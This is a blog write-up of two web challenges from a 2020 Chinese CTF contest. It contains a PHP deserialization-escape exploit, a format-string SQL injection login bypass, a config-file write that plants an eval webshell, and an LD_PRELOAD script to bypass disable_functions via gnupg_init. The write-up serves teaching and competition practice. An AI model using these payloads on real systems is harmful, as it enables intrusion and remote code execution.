2020年安恒4月月赛 writeup

两道web题的题解

ezserialize

源码审计

show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

这道题是来自一个古老的洞

https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html

可以看到很明显有两个函数readwrite, 我们可以利用read做反序列化逃逸, pop链十分简单就不分析了, 直接上exp

class A{
public $username;
public $password;
}

class B{
public $b;
}

class C{
public $c="flag.php";
}
$geta = '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0';
$getb = 'A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}';
echo urlencode($geta);
echo "\n".urlencode($getb);

打过去就可以了

Babytrics

上来是个登录框, 有代码提示

tips:select * from user where user='$user' and passwd='%s'

可以看到%s, php的格式化字符串漏洞, 看下面的文章

https://blog.csdn.net/weixin_41185953/article/details/80485075

payload如下

user=%1$c^0#&passwd=39

利用%1$c获取passwd传入的39, 并转换为chr(39), 也就是', 然后^0变为永真

注入后可以得到用户名和密码

跳转后到user.php, 没有内容

就扫了一下后台

发现在/admin/index.php还有一个登录框, 用上面的密码登录即可

然后进去admin.php, 有段代码审计

<?php
error_reporting(0);
session_save_path('session');
session_start();
require_once './init.php';
if($_SESSION['login']!=1){
die("<script>window.location.href='./index.php'>/script>");
}
if($_GET['shell']){
$shell= addslashes($_GET['shell']);
$file = file_get_contents('./shell.php');
$file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file);
file_put_contents('./shell.php', $file);
}else{
echo "set your shell"."<br>";
chdir("/");
highlight_file(dirname(__FILE__)."/admin.php");
}
?>

这段是来自p神的博客

https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html

直接用就可以了

shell=;eval($_POST['cj']);
shell=$0

然后看一下phpinfo

版本大于7.4.3, 不能使用之前的uaf漏洞, 现在有的绕过disable_functions的方法也不能用

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,error_log,dl,FFI::cdef,debug_backtrace,imap_mail,mb_send_mail

这就很尴尬了, fuzz半天没有用, 期间尝试了一些偷鸡的方法

$arr=scandir("..");
foreach($arr as $value){
print_r($value."\n");
$arr2=@scandir("../".$value);
if($arr2){
if(sizeof($arr2)>3){
print_r(scandir("../".$value));
print_r("\n");
}
}
}

简单写了个脚本来看当前的所有shell文件

研究半天也没发现哪个能用2333

题目比较奇怪的地方是配置了sendmail, 按道理如果是bypass, 应该不会装这个, 只是函数mail被过滤了, 也没有办法fork新进程

在赵总提示后

成功的搜到了文章23333

Fuzzer gets us new functions to bypass PHP disable_functions

https://www.anquanke.com/post/id/197745?from=singlemessage

可以看到有两个新的函数

并且phpinfo中存在这个拓展

题目的phpinfo信息 https://pastebin.com/jKnqWJRT

由于题目环境关闭了, 我们在本地测试一下

sudo apt install php7.2-gnupg
wget https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/raw/master/bypass_disablefunc_x86.so

php脚本如下

<?php
$cmd = $_GET["cmd"];
$out_path = "/path/to/out";
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = "/path/to/exp.so";
putenv("LD_PRELOAD=" . $so_path);
gnupg_init();
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
@unlink($out_path);
?>

总结

用英语搜索要比中文好很多, 上次xctf也是吃了这样的亏, 导致没有搜到对应的文章, 以后要多注意这个点

这次的题量还是太少了23333


作者: cjm00n
地址: https://cjm00n.top/CTF/dasctf-2020-04-wp.html
版权声明: 除特别说明外,所有文章均采用 CC BY 4.0 许可协议,转载请先取得同意。

Minos主题修改指南 HFCTF2020 writeup

评论